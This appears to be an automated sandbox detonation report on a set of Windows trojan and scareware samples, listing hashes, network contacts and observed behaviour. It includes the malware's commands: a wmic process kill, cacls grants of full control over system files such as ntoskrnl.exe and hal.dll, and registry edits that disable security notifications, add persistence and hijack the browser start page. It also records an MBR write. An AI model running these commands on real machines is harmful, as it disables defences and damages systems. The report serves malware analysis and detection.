C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\System32\drivers" /grant "everyone":F

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	203.197.17.2.in-addr.arpa	udp
GB	96.16.110.114:80		tcp
US	13.107.253.64:443		tcp
US	8.8.8.8:53	4.159.190.20.in-addr.arpa	udp
US	8.8.8.8:53	95.221.229.192.in-addr.arpa	udp
US	8.8.8.8:53	164.189.21.2.in-addr.arpa	udp
US	8.8.8.8:53	154.239.44.20.in-addr.arpa	udp
US	8.8.8.8:53	50.23.12.20.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	57.15.31.184.in-addr.arpa	udp
US	8.8.8.8:53	209.205.72.20.in-addr.arpa	udp
US	8.8.8.8:53	241.197.17.2.in-addr.arpa	udp
NL	52.142.223.178:80		tcp
US	8.8.8.8:53	23.236.111.52.in-addr.arpa	udp
US	8.8.8.8:53	216.197.17.2.in-addr.arpa	udp

Files

C:\Windows\Temp\winconfig.exe

MD5	11d457ee914f72a436fa4a8a8f8446dd
SHA1	d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA256	c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
SHA512	4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b

C:\Users\Admin\AppData\Local\Temp\8150.tmp\8151.tmp\8152.bat

MD5	a645734f3bf4a2682cbaf546789ec0c4
SHA1	fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA256	3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512	efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d

C:\Users\Admin\AppData\Roaming\DetectKey.exe

MD5	aba9a3cf4e1db4602c25405987b809a6
SHA1	6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256	490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512	e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675

Analysis: behavioral20

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:58

Platform

win10v2004-20240508-en

Max time kernel

78s

Max time network

50s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

Signatures

Windows security bypass

evasion trojan

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A

Disables RegEdit via registry modification

evasion

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	\??\c:\windows\antivirus-platinum.exe	N/A

ACProtect 1.3x - 1.4x DLL software

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	C:\WINDOWS\302746537.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
N/A	N/A	C:\WINDOWS\302746537.exe	N/A
N/A	N/A	\??\c:\windows\antivirus-platinum.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	\??\c:\windows\antivirus-platinum.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe	N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Windows security modification

evasion trojan

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	\??\c:\windows\antivirus-platinum.exe	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Antivirus = "\"C:\\Program Files (x86)\\AnVi\\avt.exe\" -noscan"	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe	N/A

Drops file in Program Files directory

Description	Indicator	Process	Target
File created	C:\Program Files (x86)\AnVi\splash.mp3	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
File created	C:\Program Files (x86)\AnVi\virus.mp3	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\COMCTL32.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File created	C:\Windows\__tmp_rar_sfx_access_check_240614218	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\Windows\antivirus-platinum.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File created	C:\Windows\COMCTL32.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File created	C:\Windows\MSCOMCTL.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\Windows\MSCOMCTL.OCX	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File created	C:\Windows\302746537.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\Windows\302746537.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A
File opened for modification	C:\windows\antivirus-platinum.exe	C:\Windows\SysWOW64\attrib.exe	N/A
File created	C:\Windows\antivirus-platinum.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	N/A

Enumerates physical storage devices

NSIS installer

installer

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Delays execution with timeout.exe

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\timeout.exe	N/A
N/A	N/A	C:\Windows\system32\timeout.exe	N/A
N/A	N/A	C:\Windows\system32\timeout.exe	N/A

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	\??\c:\windows\antivirus-platinum.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Internet Explorer\Main	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title = "YOUR PC MAY BE INFECTED WITH SPYWARE OR OTHER MALICIOUS ITEMS"	\??\c:\windows\antivirus-platinum.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Internet Explorer\Main	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Use FormSuggest = "Yes"	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Modifies Internet Explorer start page

stealer

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan"	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan"	\??\c:\windows\antivirus-platinum.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8D2-850A-101B-AFC0-4210102A8DA7}\ProgID\ = "COMCTL.ProgCtrl.1"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2334D2B3-713E-11CF-8AE5-00AA00C00905}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E6E17E8A-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{C74190B4-8589-11D1-B16A-00C0F0283628}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.ProgCtrl.2\CLSID	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\Implemented Categories\{0DE86A52-2BAA-11CF-A229-00AA003D7352}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{66833FE6-8583-11D1-B16A-00C0F0283628}\MiscStatus\1	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\MiscStatus\1	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E791-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BF877894-E026-11CF-8E74-00A0C90F26F8}\ = "IColumnHeaders11"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.TreeCtrl.2\ = "Microsoft TreeView Control 6.0 (SP4)"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C74190B7-8589-11D1-B16A-00C0F0283628}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{373FF7F4-EB8B-11CD-8820-08002B2F4F5A}\InprocServer32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{58DA8D90-9D6A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\Implemented Categories\{0DE86A52-2BAA-11CF-A229-00AA003D7352}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A4-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8A7-850A-101B-AFC0-4210102A8DA7}\ = "INodes10"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1EFB6596-857C-11D1-B16A-00C0F0283628}\ProgID\ = "MSComctlLib.TabStrip.2"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C27CCE3B-8596-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6027C2D4-FB28-11CD-8820-08002B2F4F5A}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E82-DF38-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1EFB6596-857C-11D1-B16A-00C0F0283628}\Implemented Categories	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{66833FEB-8583-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{35053A20-8589-11D1-B16A-00C0F0283628}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{62823C20-41A3-11CE-9E8B-0020AF039CA3}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A0-850A-101B-AFC0-4210102A8DA7}\ = "IPanels10"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA62-E020-11CF-8E74-00A0C90F26F8}\TypeLib\Version = "1.3"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}\MiscStatus\1\ = "131473"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8E3867AA-8586-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2C247F22-8591-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8E3867A4-8586-11D1-B16A-00C0F0283628}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{35053A20-8589-11D1-B16A-00C0F0283628}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{35053A21-8589-11D1-B16A-00C0F0283628}\ = "IProgressBarEvents"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DD9DA665-8594-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.TreeCtrl\CLSID\ = "{0713E8A2-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83604-895E-11D0-B0A6-000000000000}\ = "IColumnHeader"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.TreeCtrl\CurVer\ = "MSComctlLib.TreeCtrl.2"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{66833FE9-8583-11D1-B16A-00C0F0283628}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E6E17E8E-DF38-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83602-895E-11D0-B0A6-000000000000}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\Implemented Categories	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{66833FED-8583-11D1-B16A-00C0F0283628}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{66833FED-8583-11D1-B16A-00C0F0283628}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04C-858B-11D1-B16A-00C0F0283628}\TypeLib\ = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2C247F26-8591-11D1-B16A-00C0F0283628}\TypeLib	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8A2-850A-101B-AFC0-4210102A8DA7}\ToolboxBitmap32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8556BCD0-E01E-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\Implemented Categories\{0DE86A53-2BAA-11CF-A229-00AA003D7352}	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8D0-850A-101B-AFC0-4210102A8DA7}\TypeLib	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA62-E020-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8A5-850A-101B-AFC0-4210102A8DA7}\TypeLib	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8B1-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F055-858B-11D1-B16A-00C0F0283628}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2C787A50-E01C-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8D0-850A-101B-AFC0-4210102A8DA7}\ = "IProgressBar10"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDD1F04B-858B-11D1-B16A-00C0F0283628}\ToolboxBitmap32\ = "c:\\windows\\mscomctl.ocx, 4"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{66833FE6-8583-11D1-B16A-00C0F0283628}\InprocServer32\ThreadingModel = "Apartment"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{35053A21-8589-11D1-B16A-00C0F0283628}\ = "IProgressBarEvents"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94440-E5E8-101B-B9B5-444553540000}\ProgID	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D95-9D6A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\InprocServer32	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F08DF954-8592-11D1-B16A-00C0F0283628}\ = "Microsoft Slider Control 6.0 (SP4)"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{612A8624-0FB3-11CE-8747-524153480004}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}"	C:\Windows\SysWOW64\regsvr32.exe	N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
